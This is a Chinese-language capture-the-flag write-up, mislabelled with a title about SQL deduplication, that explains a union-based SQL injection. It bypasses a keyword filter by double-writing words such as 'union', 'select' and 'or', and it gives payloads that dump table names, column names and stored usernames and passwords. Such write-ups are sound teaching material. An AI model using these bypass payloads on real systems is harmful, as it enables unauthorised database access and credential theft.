1. 程式人生 > 資料庫 >sql 如何去重?

sql 如何去重?

剛看到題目,上面寫著過濾了很多,所以要注意

  1. 試探性地先在兩個引數後面加單引號來測試注入點,發現兩個都可以,我選擇了後者

  2. 在使用#和--+時發現#被過濾,因為用#時它沒有報錯,但是--+報錯了,所以只能用--+

  3. 在‘後加order by 1語句時發現返回der 1 ,證明or 和 by 都被過濾掉了,試試雙寫繞過,成功,所以可以繞過,數字增加,到了4不行,說明有三個回顯位

  4. 於是正常聯合查詢,但顯示

    use near '.tables  table_schema='geek'-- '' at line 1
    

    發現union select也被過濾,試了試from、where也是被過濾了

    所以都雙寫繞過

    注意因為or被過濾information中的or也雙寫繞過

查詢表playload:' ununionion selselectect 1,2,group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema='geek'--+

同樣方法查詢列,發現and也被過濾,雙寫繞過

查詢列playload:' ununionion selselectect 1,2,group_concat(column_name) frofromm infoorrmation_schema.columns whwhereere table_schema='geek' anandd table_name='b4bsql'--+

同樣方法查出flag

playload:' ununionion selselectect 1,2,concat(id,'-',username,'-',passwoorrd) frfromom geek.b4bsql limit 7,1--+

總結:此題不難,正常注入語法就行,只是要通過回顯的錯誤來判斷過濾掉的關鍵詞